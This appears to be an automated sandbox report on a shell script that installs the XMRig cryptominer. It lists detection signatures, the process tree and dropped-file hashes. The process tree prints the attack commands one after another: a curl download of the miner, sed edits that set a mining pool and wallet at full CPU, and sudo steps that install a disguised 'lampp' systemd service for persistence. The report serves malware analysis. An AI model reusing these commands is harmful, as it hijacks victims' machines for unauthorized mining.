Analysis

  • max time kernel
    3s
  • max time network
    1032s
  • platform
    ubuntu-22.04_amd64
  • resource
    ubuntu2204-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2204-amd64-20240611-enkernel:5.15.0-105-genericlocale:en-usos:ubuntu-22.04-amd64system
  • submitted
    01/07/2024, 12:07

General

  • Target
    script.sh
  • Size 8KB
  • Sample240701-pad1ss1aqf
  • SHA256 d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 24 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:1588
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:1591
      • /usr/bin/nproc
        nproc
        2⤵
          PID:1592
        • /usr/bin/bc
          bc -l
          2⤵
            PID:1595
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Writes file to tmp directory
            PID:1596
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
              PID:1602
            • /usr/bin/tar
              tar xf /tmp/xmrig.tar.gz -C /root/lampp
              2⤵
              • Reads runtime system information
              PID:1603
              • /usr/local/sbin/gzip
                gzip -d
                3⤵
                  PID:1604
                • /usr/local/bin/gzip
                  gzip -d
                  3⤵
                    PID:1604
                  • /usr/sbin/gzip
                    gzip -d
                    3⤵
                      PID:1604
                    • /usr/bin/gzip
                      gzip -d
                      3⤵
                        PID:1604
                    • /usr/bin/rm
                      2⤵
                        PID:1617
                      • /usr/bin/sed
                        2⤵
                          PID:1618
                        • /root/lampp/xmrig
                          2⤵
                          • Executes dropped EXE
                          • Checks hardware identifiers (DMI)
                          • Reads hardware information
                          • Checks CPU configuration
                          • Reads CPU attributes
                          • Enumerates kernel/hardware configuration
                          • Reads runtime system information
                          PID:1619
                        • /usr/bin/sed
                          sed -r "s/[^a-zA-Z0-9\\-]+/_/g"
                          2⤵
                            PID:1624
                          • /usr/bin/cut
                            cut -f1 -d.
                            2⤵
                              PID:1623
                            • /usr/bin/hostname
                              hostname
                              2⤵
                                PID:1622
                              • /usr/bin/sed
                                sed -i "s/\"url\": *\"[^\"]*\",/\"url\": \"gulf.moneroocean.stream:10001\",/" /root/lampp/config.json
                                2⤵
                                  PID:1625
                                • /usr/bin/sed
                                  sed -i "s/\"user\": *\"[^\"]*\",/\"user\": \"47zZneDdPNr63HM9ubMyrhYvLNbDunCkiia6fNCvQkThNuK6rrj59e3Y2nNF3ETeewbALAGYaiti4SF4ENwJ8bR7PKXXcMN\",/" /root/lampp/config.json
                                  2⤵
                                    PID:1626
                                  • /usr/bin/sed
                                    sed -i "s/\"pass\": *\"[^\"]*\",/\"pass\": \"ubuntu2204-amd64-20240611-en-5\",/" /root/lampp/config.json
                                    2⤵
                                      PID:1627
                                    • /usr/bin/sed
                                      sed -i "s/\"max-cpu-usage\": *[^,]*,/\"max-cpu-usage\": 100,/" /root/lampp/config.json
                                      2⤵
                                      • Reads runtime system information
                                      PID:1628
                                    • /usr/bin/sed
                                      sed -i "s/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 100,/" /root/lampp/config.json
                                      2⤵
                                        PID:1629
                                      • /usr/bin/sed
                                        sed -i "s#\"log-file\": *null,#\"log-file\": \"/root/lampp/xmrig.log\",#" /root/lampp/config.json
                                        2⤵
                                          PID:1630
                                        • /usr/bin/sed
                                          sed -i "s/\"syslog\": *[^,]*,/\"syslog\": true,/" /root/lampp/config.json
                                          2⤵
                                            PID:1631
                                          • /usr/bin/cp
                                            cp /root/lampp/config.json /root/lampp/config_background.json
                                            2⤵
                                              PID:1632
                                            • /usr/bin/sed
                                              sed -i "s/\"background\": *false,/\"background\": true,/" /root/lampp/config_background.json
                                              2⤵
                                                PID:1633
                                              • /usr/bin/cat
                                                cat
                                                2⤵
                                                  PID:1634
                                                • /usr/bin/chmod
                                                  chmod +x /root/lampp/miner.sh
                                                  2⤵
                                                    PID:1635
                                                  • /usr/bin/sudo
                                                    sudo -n true
                                                    2⤵
                                                    • Reads runtime system information
                                                    PID:1636
                                                    • /usr/bin/true
                                                      true
                                                      3⤵
                                                        PID:1637
                                                    • /usr/bin/awk
                                                      awk "{print \$2}"
                                                      2⤵
                                                        PID:1640
                                                      • /usr/bin/grep
                                                        grep MemTotal /proc/meminfo
                                                        2⤵
                                                          PID:1639
                                                        • /usr/bin/cat
                                                          cat
                                                          2⤵
                                                            PID:1641
                                                          • /usr/bin/sudo
                                                            sudo mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:1642
                                                            • /usr/bin/mv
                                                              mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                              3⤵
                                                                PID:1643
                                                            • /usr/bin/sudo
                                                              sudo killall xmrig
                                                              2⤵
                                                                PID:1644
                                                                • /usr/bin/killall
                                                                  killall xmrig
                                                                  3⤵
                                                                  • Reads runtime system information
                                                                  PID:1645
                                                              • /usr/bin/sudo
                                                                sudo systemctl daemon-reload
                                                                2⤵
                                                                  PID:1646
                                                                  • /usr/bin/systemctl
                                                                    systemctl daemon-reload
                                                                    3⤵
                                                                    • Reads runtime system information
                                                                    PID:1647
                                                                • /usr/bin/sudo
                                                                  sudo systemctl enable lampp.service
                                                                  2⤵
                                                                    PID:1681
                                                                    • /usr/bin/systemctl
                                                                      systemctl enable lampp.service
                                                                      3⤵
                                                                        PID:1682
                                                                    • /usr/bin/sudo
                                                                      sudo systemctl start lampp.service
                                                                      2⤵
                                                                      • Reads runtime system information
                                                                      PID:1718
                                                                      • /usr/bin/systemctl
                                                                        systemctl start lampp.service
                                                                        3⤵
                                                                          PID:1719

                                                                    Network

                                                                          MITRE ATT&CK Enterprise v15

                                                                          Replay Monitor

                                                                          Loading Replay Monitor...

                                                                          Downloads

                                                                          config.json

                                                                          • Path /root/lampp/config.json
                                                                          • Size 2KB
                                                                          • SHA256 578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81
                                                                          • MD5 SHA1 SHA512

                                                                          miner.sh

                                                                          • Path /root/lampp/miner.sh
                                                                          • Size 253B
                                                                          • SHA256 f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012
                                                                          • MD5 SHA1 SHA512

                                                                          sedCMOeb6

                                                                          • Path /root/lampp/sedCMOeb6
                                                                          • Size 2KB
                                                                          • SHA256 5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e
                                                                          • MD5 SHA1 SHA512

                                                                          sedIJ7ovG

                                                                          • Path /root/lampp/sedIJ7ovG
                                                                          • Size 2KB
                                                                          • SHA256 377106ef5dd9ee2747d25ed417c0fbcd5ef4b8c845d28c2ae746de7fdc5dcdd4
                                                                          • MD5 SHA1 SHA512

                                                                          sedS5vLM9

                                                                          • Path /root/lampp/sedS5vLM9
                                                                          • Size 2KB
                                                                          • SHA256 ad0e6db8d442f7906c162097402277c339165e3de6d9c84fab5b75753d9688a5
                                                                          • MD5 SHA1 SHA512

                                                                          sedkFyMKP

                                                                          • Path /root/lampp/sedkFyMKP
                                                                          • Size 2KB
                                                                          • SHA256 8c18176259891758bf90cd57b5baee38b230c844b5722bb7102fc06cf8eee2e9
                                                                          • MD5 SHA1 SHA512

                                                                          sedr4wAsw

                                                                          • Path /root/lampp/sedr4wAsw
                                                                          • Size 2KB
                                                                          • SHA256 984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f
                                                                          • MD5 SHA1 SHA512

                                                                          sedzXPUSr

                                                                          • Path /root/lampp/sedzXPUSr
                                                                          • Size 2KB
                                                                          • SHA256 b886d7cd06d2917aa27383debfecefe67d5c72812bf2f9a628b363ddada59e9b
                                                                          • MD5 SHA1 SHA512

                                                                          xmrig

                                                                          • Path /root/lampp/xmrig
                                                                          • Size 8.4MB
                                                                          • SHA256 53184c5eba48f46427a4a24eaad16a266ea986e5c8aaf22d6979dea7a3ff398a
                                                                          • MD5 SHA1 SHA512 SSDEEP

                                                                          lampp.service

                                                                          • Path /tmp/lampp.service
                                                                          • Size 177B
                                                                          • SHA256 b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf
                                                                          • MD5 SHA1 SHA512

                                                                          xmrig.tar.gz

                                                                          • Path /tmp/xmrig.tar.gz
                                                                          • Size 3.4MB
                                                                          • SHA256 80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0
                                                                          • MD5 SHA1 SHA512 SSDEEP